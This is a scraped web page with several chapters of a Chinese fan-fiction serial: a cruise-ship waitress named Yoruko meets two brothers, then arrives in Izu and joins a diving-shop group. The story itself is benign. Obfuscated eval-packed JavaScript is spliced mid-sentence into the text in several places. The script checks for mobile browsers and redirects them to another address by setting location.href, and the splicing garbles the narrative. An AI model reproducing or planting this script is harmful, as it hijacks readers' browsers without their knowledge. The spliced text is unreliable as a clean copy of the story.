l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098670|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标,我就知道这绝对不是什么好成绩。 7. 站稳后,我沉默了。 半天憋出来一句:“这游戏并不好玩。” “我觉得很有意思。” 我对乐无话可说、瞠目结舌:“……肯定是你没给我加油的缘故吧!” 憬不置可否,他看起来似乎更关心我得了多少分,当乐报出“768,579,126”的数字时,他似乎比我还惊讶。 “……你想再试试吗?” “绝对要赢!” 就算只是为了超过乐! 8. 我应该说过自己是个不善于思考的人,这种不擅长,当然也包括战斗策略。 如果我在和『拳头』的博弈中落败,那么依照我的逻辑,我应该拿自己的拳头和这些『拳头』直接对战才对。 为什么还要依照游戏规则进行闪躲?显得我怕了它们一样。 只要最后一击的力量够重,那么所谓的闪避得分也算不上什么吧。 一想通这点,我便如释重负地重新站上游戏区。 解开服务生马甲的几颗纽扣,我活动着被皮鞋困住的脚掌,畅快地笑了笑。 那么,我要来了! 9. 『拳头』的出击依旧是被调到最大频率的攻击,令人眼花缭乱不堪其扰。我看准架势找出一个点位飞身而去,踩爆一只拳头后,我更是飞速出拳,来一个打一只,来一对打一双。 跳跃、滑步、后空翻,我充分利用着小小一块游戏区的所有设备,干翻了所有对手,蓄力等待着红点的出现。 然后,后移、冲刺、蹬地、出拳,落地。 红点碎裂消失了。 10. 这一击,我使出了全力,并有足够的自信能有个好成绩。 我装作不在意地轻飘飘卸下装备,溜到憬和乐身边,并把眼镜还给憬: “唉,果然这游戏还是不怎样嘛。” “你帮我看看多少分啊?” 憬拍拍乐的肩膀示意他报数,他动作略有些迟钝地抬头张望着: “啊,还没出来……” “机器好像坏了。数字转不出来。” 11. 乐摘下vr眼镜走到我面前,那双沉沉的眼瞳和我汇合,似乎发生了我们相遇以来第一次真正的交叉。 20.迫近的真实 1. 我的得分加载不出来? 因为围观乐的破纪录成就而聚集起来的那帮人并没有散去,只不过他们在我游玩的过程中一语不发,就算我离去了那边依旧是一片沉默。 有个站在前排的大叔推了推眼镜: “喂、我说啊……这意思是她的分数超出系统测算范围了吧……” “……” “感觉好像、是这样呢……” 众人悄声交头接耳,不时往我这里落下探查的眼神。 我越是劝自己保持矜持、戒骄戒躁,浑身就越是止不住的得瑟。虽然就这样大摇大摆地走出去接受所有人仰慕的目光也是人之常情,但一想到我是轮班时间偷溜出来的心里就被一根看不见的丝线给束缚住了。 “你很得意吗。”乐撇了我一眼,语调平平。 “对,确实。”我点点头,“毕竟我这么强呢。” “你真的很强吗?” “呃,你是说我该谦虚点么?” “别乱猜。”乐离我近了一步,“那种游戏已经没什么意思了,你和我打一架吧。” “呵呵,刚还说这游戏很有意思的人是谁啊?” “现在没意思了。你和我打一架。” “我离开的时间够长了,而且你们应该没有什么重要的事吧,那我先回去上班了。” 憬并未阻拦,反而之前对我爱搭不理的乐侧过身微微挡住我的去路: “打一架吧。” “你是那种想要什么就必须立刻得到的小孩子吗?但我并不是你的玩具啊。” “你能在这儿和你哥乖乖玩一会儿吗,我现在要回去上班了。” 已经搞不清我到底是个兼职服务生还是什么无偿保姆了,乐能向小花学学怎么当个乖孩子吗? 2. 回到水吧,果然生意还是一样的冷清,同事坐在靠墙的椅子上都快睡着了。 也是,大家都忙着探索崭新的vr世界呢,相比之下喝饮料也不是什么要紧事。 时间在我俩身上似乎停摆了,我给自己调了杯草莓牛奶——没错依旧还是把大瓶装饮料倒进小杯子里,金色的小勺子在杯中无趣地来回搅动,搅出的气泡“咕”地消散。 再次抬头时,大盒的草莓牛奶边出现了一双更为赤红的双眸专注地看着我。 乐又追到这边来了。 我喝牛奶的动作顿了一下:“你不会又要……” 他打断我的发言:“没,你不要说话。” 这小孩真是奇怪了。 “没和你哥在一起?” “……你说老大啊?他回去休息了。”乐自说自话拿过草莓牛奶就喝,喉结上下动了动,“你不要说话,不然我会忍不住想……” “呃,他不让我再和你说那个。” “那好好去展区玩不就行了。”我一头黑线。 “那些,已经没意思了。”他皱了皱眉,“我说啊,你和我……唉。” 就真的这么想找人打架?这是什么坏习惯? 把小孩养成这样,做哥的也有责任啊憬!怎么就能这么不负责任地回去睡觉了呢? 我:“你别想了,船上不准斗殴的,我也不会莫名其妙和你打架。” “还有,喝了牛奶要付钱的。” 他兴致缺缺地窝在吧台上,只露出一只眼睛时不时瞄我两眼,高大的身躯就这样委屈地放置在窄窄的桌面上,总感觉像是什么大型弃猫。 我只好让步:“那牛奶送你行不?不收你钱了。” 他反倒是完全沉没进了曲起来的手臂之中。 我走出吧台站到他身边:“我要换班去晚宴那边上菜了。” 他闷闷地叹了口气。 “要不要我趁换班送你回去?” 他摇摇头。 3. 这不要那不要的,小兔崽子我还治不了你!? 愤愤地抵了抵牙根,我撸起袖子靠近他身后—— 然后一把把他从高脚椅上抱了下来,凑近他耳边恶魔低语: “我立刻带你去吃饭然后给你哥打包点吃的带回去然后你也乖乖睡觉行不别再缠着我了你在这里盯着我让我工作很难办啊听没听见?” 乐一时间没反应过来,双手双脚在空中无助地扑棱了两下,之后就悬在半空神情复杂地回头看着我。 尽管他在身高上略比我强上那么一点,但是我把他举得高高的,双脚离地后也无法反抗就是了。 “不答应我就不会把你放下来。” 一阵不知从何而起的风吹动我塞进头盔中的鬓发,他别过头去模模糊糊说了句:“哦。嗯。” 4. 宴席的餐厅并未设计vr场景,而是用全息投影在两侧布置了一些极富未来科幻感的模型,想也是,宾客们总不能头戴着那种vr眼镜吃饭。 晚宴是自助餐的形式,然而比起进食,这场宴会还是更以社交性质为重点。把乐安置好了以后,我就又一次开始忙前忙后,跑后厨、给保温炉添菜、回答客人们的疑问。 “咳咳!这里是后厨,这里是后厨!那个公司的老总要登台讲话了,你们赶紧过来把配套的小点心拿走。” “速度速度!主管说老总讲话前要把所有份额都配送到位!” 5. 我从后厨推出一车所谓的“小点心”,和一同出来的同事面面相觑。 ……谁家小点心是一盘子大块烤肉啊! 可能那个老总心思比较奇特吧。或许这就是领导者的必备特质。 不过这个肉倒是味道极香,看起来明明没有撒任何调料,没有任何装饰,独属于肉的醇香却被火焰炙烤完全激发出来,一头钻进人的嗅觉系统。 而这样粗犷的烹调方式与意外的美味菜肴,我本以为只会在炎火村见到。 6. 西装革履的男人走上了聚光灯汇集的舞台,不过我并没心思听他讲了什么,手里忙活着给每个小桌上菜。 因此工作很快就做完了。 我偷偷拿了一碟烤肉,想着大家听演讲的时候应该也不会去自助区吃东西,于是立刻闪现到乐的座位那里,以他为掩护做贼心虚地啃上了那块烤肉。 不过事实上也没人在关注我这个偷闲的小员工,大家都聚精会神地听着艾路科技的大老板讲话。 7. 我没想到这道菜能这样震撼到我,咬了一口后才发现,这份烤肉不仅在气味上像极了炎火村出品,甚至于口感也大差不差。 可我明明是眼看着后厨的光头厨师亲手做出来的。 好怪。 乐倒是直接两口就吞咽下了这块 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“一个经典游戏,但是不能和人对战感觉很没意思,所以我没玩过。” 而他们所邀请的媒体已经纷纷涌上前抢着询问一手报道,一个声音响亮地格外突出: “松井先生,请问对于这一新作,您有什么可以透露的情报吗?” 名为松井的男人摆手示意众人安静,他取下麦克风走到更靠近记者的位置: “其他情报恕我无可奉告,不过可以说的是,在这一作中,前作原主角将消失一段时间,玩家将扮演一名失忆的少年开启全新的旅途。” “值得一提的是,本作还将利用新技术设计一位全新的关键人物npc,模型更加精美的同时,也会与主角有更深的故事联系!” 不过我并不关心,看着人群重新开始流动便放下碟子,先一步回到工作岗位。 乐看着我依旧是欲言又止,想也知道他脑子里还琢磨着打架的事情。我拍拍他肩膀:“我就不等你了,你去给你哥带点吃的就回去吧。” “免费的,你可多拿点热的食物给你哥吧,感觉他很需要。” “你什么时候下班?” “呃,到明天早上我下船前?很快就结束的,毕竟我只是个日结工。” 9. 在主办方讲完话后,本场晚会最关键的部分也就结束了,人们走的走散的散,因此也减少了一大半工作量。 游轮上灯光明亮,各展区一个个撤下精密的设备,这场科技盛会就此落下帷幕。 而基本上我的工作也将近尾声,清洗着宾客们留下的玻璃杯时,我竟出奇地感到一阵释然: 感觉这一天过得也太颠沛流离,我不说谁知道我是来度假的? 为数不多的快乐大概就是味道很像家乡的烤肉,一群友善的同事,以及两个新朋友。 这么看起来,我居然也可以说是收获颇丰? 10. 这让我不禁期待起明天正式开始的伊豆之旅,已经迫不及待想探索伊豆的街头美食了! 我在空荡荡的餐厅里清点着各种库存这样鼓励着自己。 21.伊豆的碧蓝色大海 1. 虽然说值班表上从夜里到早晨都没有给我安排任何休息时间,不过值得注意的是,与此同时在这段时间里主管也没有给我安排任何一位一起值班的同事。 这也就是说,如果没有规定工作内容而只是值班的话,我要干什么完全就是自由心证。 做完手头的任务后,我拍拍手上的灰走出仓库,一时卸下了工作包袱,可以真正享受一个人的观光客时光时,我却不知道应该做些什么了。 细细想来,我确实不太会度过一个人的时光,不管是独自守着商店还是如今独自值班,好像都很容易焦躁。 站在空荡荡的房间,我不知道要走向何方。 于是我停下了脚步,本想去甲板上看看海上月光,但主管给我的活动范围只有楼下两层。 幽蓝色的月光从擦拭透亮的玻璃窗中洒下来,我踩着如波纹般晃动的影子,轻轻一跃跳上靠窗座位,蜷缩着,学着和海水一样摇晃。 手不自觉地抚上刚从个人储物柜取出来的太刀,我将她面对月光举起来,仔细看着才发现月光是没有颜色的,那温柔的色彩在刀身上缓缓流动,触摸的时候却只能感受到冰凉的触感。 “晓月,你是拂晓的月光。” 我昏昏沉沉睡在了波涛声和太刀的陪伴下。 2. 两小时后我猛然惊醒,窗外是泛白的鱼肚色天空,天与海的尽头以白色泡沫为丝线被交织在一起,提醒我赶紧去查看在我不小心睡着的时候,船上是否有发生什么意外事件。 好在意外并不常有,一切静谧得像是什么也没发生。 我动作麻利地提前做起清洁与餐厅的准备工作,想了想还是决定过一会抽空去给商店里打个电话。 现在还太早,甚至老板应该都还没起床。 3. 只是没想到这个“过一会儿”真是好一会儿。 巨轮早早便苏醒了,我摸到电话机的时候已经是褪下工作制服的模样了。 ——换句话说,距离中午靠岸还剩下一个小时。 拨出电话后,那边几乎是秒接的速度,我笑了笑:“嗨,我是夜子!半天没见,大家还好吗?” 他们绝对是开了免提,各种杂乱的呼吸声、说话声争着抢着传来,我几乎都能想象出来一群人团团围在电话机前头抵着头的情形。 “夜子,你到伊豆了吗?” “夜子姐,伊豆的风景怎么样怎么样!我昨天做梦还梦到了呢!” “夜、夜子前辈,你不在的时候店里可都很好哦。” “你们几个,慢点说好吗?这样想让她怎么回答?”葵姐的声音挤到了话筒前,“呐,夜子你一个人出门没问题吧?如果有人欺负你,我绝对会叫太郎去讨回来的!” “葵姐这个不用担心啦,没人欺负我哦!” . “最可恨的应该是旅行社,他们把我安排上船的方式竟然是让我当服务员!我一直打工到现在才有机会休息!” . “诶你们别急嘛!这毕竟是因为我的索求实在是事出突然,也能理解……” . “同事都很好,而且还交到了两个朋友!是不是很厉害啊?” . “是男的啊,怎么了朝仓?这有什么问题吗?” 我坐在电话机旁,拿起热牛奶灌了一口,只听见少糖半带嘲讽的声线在耳边响起: “有问题!可有问题了!” “夜子姐,我可告诉你,阿信他正因为远距离听不到你的心声而焦躁地来回踱来踱去呢!你快回来揍他一顿,真是烦死人了!” “喂!我哪儿有像你说的这样!别把我描述得像个变态一样啊!” 这是朝仓信恼羞成怒的声音。 “啊、刚说他们两个就到了!总之其他的等我下了船以后会再和你们打电话的!” 4. 憬和乐正隔着窗户朝我招手,想起现在已经不用以服务生的姿态面对他们,我顿觉神清气爽。 唰地推开窗,他俩还被我这突然的动静小小吓了一跳。乐顺势打了个哈欠,虽然衣服扣子没有扣好,但红色眼影和发胶已经打上了。 “早上好!虽然已经十点了。”我撑着窗台探身回应,随后看向乐,“纽扣,松开了哦。” “啊?”他低下头看了眼但似乎没察觉到不对劲。 “憬,负起教育责任来啊!”我意味深长地撇了他一眼。 乐的纽扣简直就像朝仓每次落下的背心肩带一样令人难以忍受,见他本人无动于衷,我只好亲自冲出去给他扣上。 “有纽扣为什么不扣好呢?而且唯独胸前一块皮肤这么露着就不会难受吗?”我絮絮叨叨嘟囔着,“话说你们吃早饭好晚啊!” 憬轻描淡写地回答道:“毕竟乐还是爱睡觉的年纪。不过因为想来见你所以一起床就马不停蹄地赶来了。” “那很巧了,我本来正打算去昨天没去过的地方胡乱转转,那样绝对会和你们擦肩而过。” 憬提出了接下来一起行动的邀请,说是可以当我的导游,那我就欣然应下了。 不过。 “我们还是去甲板上吧!比起在船上探险,我更喜欢和朋友们一起看海!” 我激动地晃着他俩的手臂。 “朋友?已经是朋友了吗?”乐小声嘀咕。 “诶!还不是吗?”我颇受打击,震惊地后退了一步,皱着眉思考着,“朋友不就是我喜欢你你喜欢我所以我们是朋友吗,难道说憬和乐并不喜欢我?” 憬一下子站到乐身前挡住他:“他这个年纪还比较嘴硬害羞,夜子,我们完全没有讨厌你。” 随即凑到乐耳边低语,乐的眼皮跳了跳,“真要这么做啊……” 他垂下目光,嘴里缓缓吐出两个音节: su-ki。 5. 这确实是我想要听到的回答,不过在现实中确确实实地听到这个词从乐的口中说出来时,我才感受到一种淡淡的幽默。 毕竟我感觉乐不像是那种有所喜欢有所执着的人,面前这个场景总有种老爸老妈让孩子叫亲戚的诙谐感。 喜笑颜开过后,我猛然意识到自己剩下的时间已然只有半小时,于是赶紧揽上他俩的肩膀半是拖半是拽地来到了甲板。 点点阳光细碎地铺在海面,我伸了个懒腰,想到过去一天里的经历,一种拨云见日的心情油然而生。不过即将面临着和好友的离别,内心又有一些惆怅。 此情此景,真该赋诗一首以舒胸臆啊!如果我不是个文盲的话。 6. 即便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115858|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此我还是这么做了。 “憬,乐,我为你们作了一首送别诗。” “题为:「大游轮上与好友憬君乐君分别」,作者:百龙夜子。” “然后呢?”憬问。 “呃,这是一首无字之诗。” “意会?能懂吗……” 7. 我们就像普通的一起出门旅行的朋友一般,靠在甲板的栏杆上看海。 虽说乐一副兴致缺缺呆不下去的模样。 “你们这趟航行,准备去到哪儿呢?” “并没有什么确定的目的地。”憬揉搓着指关节望向海面,“我们之前那笔交易还没有谈完后续,等结束了应该就会下船吧。” 乐戳戳我的手臂,打断我和憬的对话:“这个拿好,送你了。” 他在我手心放下一个小纸盒,正是昨天的儿童套餐同款小玩具的自行车挂件,不过他那个应该是摩托车才对吧。 “不许弄丢。”他盯着我嘱托道。 “是很珍贵的分别礼物啊,我绝对会珍惜的!”回敬以坚毅的视线,我补充说明,“而且在那四种里我也最喜欢自行车了!” “因为是低碳出行吗?”憬露出一种了然的笑容。 我摇摇头:“不是,因为别的交通方式我都弄不懂运行原理啊!” 8. 他们陪我去员工休息室那里取出了行李箱,坐在一层的大厅等待靠岸通知。 苦恼地趴在行李箱升起的升缩杆上,我一下下敲击着侧壁:“那之后就是有缘再见咯,但我也没带什么能送给你们当临别礼物的。” “我会找到你的。” “啊我可以告诉你我的地址哦!” 我和憬的声音同时响起。 “你说。” 于是我在空中写着空气字:“东京都憩来坂商店街116号坂本商店,座机号码是03-0000-0000。” “坂本商店……吗。” “对!很好记吧!” 他笑了两声:“原来如此啊……那么,我们绝对会再见的。” 9. 好不容易终于下了船,我本还在纠结接下来究竟该往哪儿走,幸好远远就看见了被挤到人群外的写有我名字的巨大指示牌。 旅行社的人这次总算有点良心了,他们派了一名员工专车送我去接下来住宿的地点。 黑色西装的社畜大叔看上去过于诚恳敬业,我也没好意思在车上吐槽他们公司把我卖到船上当服务生的劣迹。 他甚至还很好心地向我一一介绍路过的建筑和推荐的食物之类的。 比如樱花盛放的伊豆大学,他下班后经常会去吃的关东煮小店,还有物美价廉的影像店。 ……喂和我说这个是想干什么啊! 10. 总之总算是到达了位于海边的目的地。 我拉着行李箱,站到了这栋建筑的门口,在抬头看清名字时,悬着的心终于死了。 那是“海边之家”。 ——据我所知,海边之家是个提供杂七杂八的海滩服务,唯独不提供住宿的地方啊! 我一把抓起大叔的领子,声音都有些颤抖:“喂、你告诉我……这不是真的吧?” “你们该不会又要让我打工换取住宿机会吧……” 22.想过加入什么社团吗 1. 我还以为这个坑货旅行社真打算让我从头到尾打七天工,其实只是我小人之心了。 司机大叔对于我的质问畏畏缩缩地擦了一把汗:“那、那倒不至于这么丧心病狂……” “只是那个安排的本地联络人说要在这里见面。” “什么本地联络人?来之前也没听过啊。” 他打了个哈哈:“我们公司好歹也是打着‘一条龙服务’的旗号的……” “只有旗号吗?……” 大叔目光游移,很显然地转移了话题:“咳咳,小姐你也累了吧,我们先去海之家放一下行李。哦,安排的旅馆老板是海之家店主的儿子。” 我也没有心思多做计较。 2. 光从外表上看,海之家只是一座普通的木质结构建筑,但走进去便会发现,里面的设施几乎一应俱全,餐食、饮品、纪念T恤、甚至还有卖CD光碟。 坐店的老头在门口台阶上坐着,闭着眼睛剧烈抖动到了一个吓人的地步,一眼看过去从脖颈向上脸都涨红了。 ——老爷子这是发病了!? 哦,猜错了,原来只是个老年滚男。 我着急忙慌冲过去,在三步开外的地方依然能听见头戴式耳机泄露出来的重金属旋律。 白发的老人完全沉浸在自己的世界里,就连我在他面前伫立着覆下一片阴影也没有察觉。 司机大叔已是司空见惯,毫不留情地一把按下他的耳机:“泓叔!有客人啊!” 依旧不理人。 “泓叔!有人吃霸王餐啊!” “哪个小兔崽子!?敢在我店里吃白食?” 被称为“泓叔”的老爷子噌一下站起,之前那副摇得半死不活的样子全然消失不见。 3. 我们三人一同坐在离门口最近的那桌,门沿下悬挂着数个玻璃与陶瓷制成的风铃叮当响,透亮的、温润的,都像这天气一样好。 心情同样是亮晶晶的。泓叔给我开了罐盐汽水作为刚刚吓到我的补偿,轻轻抿上一口,或许这就是海水的味道。 “原来如此,是房客啊,那小姑娘的联络人是谁你跟她说了没?” “还没……”大叔打开随身记事本念道,“是青海女子大学的大三学生,名字叫「浜罔梓」。” 4. 说曹操曹操到,紫色卷发的女人拨弄着发丝向这儿走来,眯眼开朗地笑着问好: “哈喽,我来啦!” 她在我对面坐下,身着荷叶花边的碎花吊带,将身材显现得凹凸有致,实在很符合我对海边风情的想象。 一双紫罗兰色的眼睛毫不掩饰地盯着我,视线在我身上上下游移;我本人倒是习惯这样的注视了,不过像这样大方的视线我还是第一次见。 “你好,我是百龙夜子,请多指教!” 我向她伸出手,回以直白的友善微笑。 5. 所谓联络人,就是妈妈一样的导游,有自己的出游安排不想带上她,但是一旦有什么不清楚的地方第一个就想到打她电话,这样的角色。 以上是司机提前和我说的。 “可以理解但为什么是个学生?你们人手这么短缺?” “那是因为她接下了这个招募啊!” 据司机大叔吐苦水,公司那边根本没想过有人真能破纪录拿到特等奖,因为纪录本身就是伪造的。 所谓什么“甜甜蜜蜜水之女神7日伊豆三人行”也只不过是个噱头,根本没人认真做过旅行企划。 于是社长灵机一动,向社会人员招募能够接下这次旅行导游并且旅行社对此概不负责的人员。 换句话说,写作“联络人”,读作“大冤种”。但凡游客是个讲究点捍卫个人权利的成年人,恐怕面前这人都要被推出来背锅,不过谁叫我是个非常好打发的游客呢? 到底还是单纯的大学生,大概只是为了一点钱就接下了这个暗藏玄机的工作。 6. 现在店里只剩我和浜罔梓两人了: 司机麻溜地开车走人,泓叔重新戴上了耳机也就相当于不存在。 不小心踢到了脚边放着的行李箱,我重新换了下坐姿,对浜罔梓解释说:“其实我过两天就有朋友过来,所以不会太麻烦你的。” 她像是不在意这点,朝我眨眨眼睛:“你几岁了?” 虽然不知道这是何用意,但还是如实回答了我资料上的年龄。 她意味深长地“哦”了一声。 随后朝门外招了招手,我满脸疑惑地探头过去,只见两名意气风发的青年昂首阔步走了进来,坐在原本泓叔和司机位置上。 据女人介绍,黑发M头的名叫北原伊织,是本次行动的组长,金发的痛衣男孩叫做今村耕平,是本次策划的艺术总监。 我问:“那你呢?” 她神色坦然地回答道:“大概是什么都不用做的大姐大。” 特工系、公司系、还有一个□□系,这些头衔到底是怎么在一个活动上和谐统一的啊! 她无知无觉地露出一个“请安心吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123188|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的微笑:“别担心,他们都是很好的学弟哟!不是什么会到处裸奔的怪人!” 7. 既然是好人,而且还是学生,那应该不会有大问题。 我转向二人的方向,爽朗地扬起嘴角:“请多指教!” 北原和今村几乎是同步地看向对方,然后以惊人的相似微笑朝我比了个大拇指:“绝对安心!” 我想他们这样高的同步率,绝对是非常要好的朋友了。 8. 几人以北原为首,向我大致介绍了本次旅行的规划,另外两人时不时插一句嘴描述他们设想的美好愿景。 就这样的插科打诨,我竟然也在二十分钟内听懂了: 水之女神是伊豆半岛海滩边生活的人们所信仰的神明,她最大的神力就是保佑人们的潜水平安顺遂,恋情也能像清澈的水波一样漂向远方那个人的心间。 有古老的传说这样道,如果在一天的涨潮前,穿着你最可爱的泳衣…… 我举手打断:“那要是男生呢?” “……那就不穿好咯!” 浜罔梓狠狠捂住北原的嘴:“他是说男生得穿着最完整的全套潜水服!” “哦我明白了。” 所以说,有古老的传说这样道,如果在一天的退潮前,穿着你最可爱的泳衣或潜水服,游到水之女神的留下的岩洞中,坐上中央的一块礁石虔诚许愿,就会得到女神的祝福。 我又举手:“只能许恋情相关的吗?我想许愿我家老板能撤下悬赏,坂本家过上平静的生活,然后我要延续我的讨伐不灭传奇,还要早日回家,每次彩票都能中奖,甜品店上新一些便宜的菜品……” “等一下这比我还贪心吧!” “他、他是说……”浜罔梓又一次截胡,“可能恋爱方面的事情更加灵验一点吧!” 我:“明白了,这真的很有意思,不过……” “哈哈哈那事不宜迟!我带你去店里认识一下明天带你‘探险’的专业团队!” 我还是没能来得及开口。 9. 其实我想和他们说,司机大叔已经和我说过所谓水之女神都是他们公司编的了。 所以他们听到的故事版本……绝对是被骗了吧? 不过看着他们如此青春洋溢的模样,为了青涩的恋情燃起熊熊斗志,我不由得想起家乡那对青梅竹马的小孩,果蜜和去糠现在怎么样了呢?有没有在火芽的暗中观察中哪怕约会过一次了呢? 我笑着摇摇头,跟随三人的脚步跑出了海之家。 23.每天都要打电话 1. 沿着河堤的公路步行前往几人口中的店铺,这是一种很新奇的体验。 北原接过了我的行李箱,今村也伸过手想帮忙拿身后背着的太刀,我摇摇头说不用了,非必要情况我绝对不能再离开她。 于是他对我露出一种了然的坚毅神情,虽然不知道他在想什么但百分之一百是误会了。 2. 这家店叫做Grand Blue,是一间潜水体验店和器材店,他们几人常常和朋友们在这里集会。 比如说现在。 北原和今村二人一人一边为我推开大门,缓缓打开的缝隙中似乎有来自异世界的刺目白光闪出,我很好奇,潜水真的会和他们在路上所说的那样有意思到冲破世界观吗? 咦?什么“可能需要提防的怪人”也没有嘛。他们几个真是多虑了。 两名肌肉男坐在一桌,把四人位挤得满满当当,不远处栗色短发的女孩转了个身背对着门的方向,手里拿着一本海洋杂志逐页翻看。 而柜台后的长发女人捂着脸毫无知觉地盯着女孩傻笑,不过一发现有客人到来便恢复正常的营业状态,走出几步说了声“欢迎光临”。 “诶、什么,还有客人吗……我还以为只有那两个蠢货。”女孩匆匆放下杂志低语着跑来,“啊,梓学姐你也在。” 滨岡梓侧身靠在长桌,语气中带着几分闲散:“哟,千纱,你们都在啊,那就好。”接着便指着我介绍道:“这是来伊豆旅行的客人夜子小姐。” 我向诸位打过招呼,她也在此期间说明了有关我的一些事项,北原与今村在一旁装作事不关己的模样假装聊天,实则惹人注目得很。 肌肉男不知不觉攀上二人的肩膀,在他们耳边音量很大地低语:“你们怎么也是一块儿来的?” 行李箱的拉杆放下时发出“咯吱咯吱”的声音,我抢先一步回答:“我们在路上偶然遇上的。” 这当然是他们提前交代好我的答案。 “对、就是这样!” “时田前辈,寿前辈,我们先去给她办那什么登记手续了……夜子小姐请来这里!” 我跟随他们走到柜台。 “奈奈華表姐,明天……”北原拿着一支钢笔和她填起了表格,名为奈奈華的女人边写字边抽出空隙抬头看了我一眼,“希望你玩得开心哦!” 3. 坐在高脚椅上能将店面尽收眼底,这种自成一体的融洽氛围,总让我有种仿佛置身于坂本商店的错觉。 “你们关系都很好呢!”我歪头向刚刚才低着头走来的千纱笑着说。 “才不是……”她撇嘴道,目光在这群人身上快速转了一圈,似乎想到了什么又看向我,“关于潜水的注意事项,奈奈華姐姐有问过你了吗?” “那个啊,交给千纱也没问题的吧!”我学着梓的语气,“梓她是这样说的。” 千纱像是已经习惯这种场面,扶着额头想都不用想都是梓把奈奈華姐姐拖走了:“那接下来的问题请你如实回答。” 北原又不知道从哪儿闪现出来:“千纱别紧张啊!怎么搞得像是在审讯犯人一样啊哈哈!”然后被她一脚踹出门外。 “别管他,我们继续……” 认真负责是千纱让我给这家店留下的第一个印象,她事无巨细地一条条询问过各项潜水者身体条件,乃至于既往病史。 问到这里我不得不沉默了一会儿:“……狂龙症算吗?” “我好像没听过这种病……”千纱呆愣着眨眨眼。 “狂龙症就是一种被怪物攻击后触发的病症,会让人身体迟缓、体力恢复降低什么的,不过我的耐性已经拉得很高了!” 千纱的笔尖在纸上快速移动着,她叹了一口气终于对我说:“行了,这样就登记完了。” “顺带一提,你会游泳吧?” 4. 我从来没想过这个问题。 一直以来,我好像各种各样杂七杂八的东西都在实践中学过一点,但是游泳……似乎还没专门学过。 但是我是不可能承认自己“不会”某样东西的,只是挠挠下巴说:“好像,没学过呢……” 似乎无所不在的北原又一次闪现:“什么!竟然还有不会游泳的人?” “我是说你也不会游泳啊!”他以一副过来人的语气自信地拍拍胸脯,“潜水这项运动,不会游泳也是可以的!” “我只是没学过啊!” 5. “明天,我的两个朋友也要到了。”若隐若现地转移开话题,我确实也想起了这么一回事,“大佛和神神廻,我要不要帮他们登记?” “是需要本人的。”千纱摇头。 “话说,妆很浓今天没来?” “爱菜马上就到了,她顺路去帮忙给前辈们买饮料。”千纱手里忙活着吐槽,“你们什么时候能放弃那个绰号?” “习惯啦习惯!”北原无所事事地趴在桌上,“感觉不叫‘妆很浓’的话就像喝酒穿着衣服一样奇怪啊!是吧耕平!” “仔细一想的话似乎果真如此,而且我快要不记得妆很浓的真名了。” “啊,两个人渣。”千纱面无表情地走过。 6. 被称为“妆很浓”的女孩很快就现身了,与这个绰号完全相反,她是个很清纯可爱的女孩,看到她的第一眼我就想起了小花。 她提着一大袋沉重的饮料搬上桌,顺手擦了擦汗坐下来,才发现店里还有我在。 总之,看起来这家店铺的常驻人员已经到齐,梓重重一拍桌面,眼神亮亮地指向前方:“各位啊!所以说明天最重要的事项就是‘水之女神探险活动’了!大家千万要穿得清凉一点,我在网上查过了,这样的效果对许愿最有用了,是吧奈奈華!” 奈奈華被哄骗着连连说对。 是的,经过梓和北原今村几人神乎其神的讲解,在场的所有人都信了,虽然不见得多同意这个计划。 最为单纯的爱菜甚至已经瞪大了眼睛,惊喜得有些呼吸困难。 “那么,就为了远道而来的客人好好准备一番吧!” “所以接下来要开为了庆祝我的到来而开展的酒会吗?” 我伸出手指指向已经开始喝起来的前辈组。 “没事,只是喝点区区45度的酒罢了。” “开开胃助兴嘛,不成问题的。” 7. 非常顺其自然地,由于这里的氛围实在太过欢乐,本应提着行李箱回旅馆整理物品并按原计划探索地图美食的我,在潜水店里就这样留下了。 乃至于到了说要请我留宿的程度。 眼见着我的联络人滨岡梓已经醉意涌上脸颊,而我也不清楚应该怎么去旅馆,所以就答应下来了。 北原还比着大拇指非常精神地给我传授经验:“毕竟明天也要来这里,今晚睡在目的地就绝对不会迟到了!” 说得似乎有点道理但绝对是歪理。 对着名片上的号码,我打电话给司机大叔,让他去和旅馆老板交代一下,顺便再联系一下神神廻和大佛明天的见面地点。毕竟我也不记得他们俩的电话号码。 “没有手机果然是件麻烦的事啊……” 8. 天色已经逐渐暗了下去,我也没忘记说好的要和坂本商店打电话的事。 这次的电话也是被他们秒接的。 “小花要第一个和夜子姐姐说话!” 我听见背景音里小花大声喊着。 “小花,你好呀!我是夜子!” “夜子夜子,今天上午没接到你的电话,是因为小花去合唱团排练了哦!” “哈哈哈,小花真厉害!” …… 在小花和葵讲完电话后,电话机终于轮到了老板手里。 我能感觉到他的声音里依旧满是忧愁: “老板,你这么担心我吗?” “不……” “老板,我懂的,不用担心,我很好啊!” “……是小花,不是你。” “合唱团有两个男生缠着她啊。” 好吧。 “下一个吧,换少糖听电话。” “呃,等等,我问你,神神廻到了吗?” “还没,他们明天才来。” “那你到时候一定要跟紧他。” 接下来是少糖。 “夜子姐,多拍点照片嘛!我好想看大海!” “好,还有啥?” “还有地区限定!” “限定的什么?” 